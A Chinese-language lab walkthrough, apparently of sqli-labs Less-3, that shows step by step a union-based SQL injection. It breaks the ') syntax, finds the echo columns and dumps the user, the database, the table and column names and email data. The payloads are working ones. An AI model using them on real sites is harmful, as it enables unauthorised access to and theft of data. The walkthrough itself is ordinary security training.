首先还是看网页提示输入id测试,输入id后加单引号看有什么输出。
payload
/sql/Less-3/?id=1'
可以看到报错,报错在1后面有一个括号,换一个payload试一下。
payload
/sql/Less-3/?id=1') --+
可以看到可以正常显示内容。
接下来确定回显位置。
/sql/Less-3/?id=-1') union select 1,2,3--+
可以看到回显位置为2和3的位置,这里要注意id要设置为-1才能够看到回显位置,因为id为-1在数据库中没有对应的数据。
接下来爆数据库的用户与库名。
/sql/Less-3/?id=-1') union select 1,user(),database() --+
接下来就可以爆数据库下面的的表名称了。
/sql/Less-3/?id=-1') union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),database() --+
可以看到在security中有一个叫做emails的表。
修改limit的参数可以查看security库中的其他的表名。
接下来查询emails表的表结构,也就是查询表的字段名称。
/sql/Less-3/?id=-1') union select 1,(select column_name from information_schema.columns where table_name='emails' limit 0,1),database() --+
可以看到emails表的第一个字段是id,修改limit的参数值可以查询后面的字段。
接下来查看emails表中emails_id的内容。
/sql/Less-3/?id=-1') union select 1,(select email_id from security.emails limit 1,1),database() --+
表内容就这样出来了,接下来就可以写脚本将所有的表内容都搞到本地来。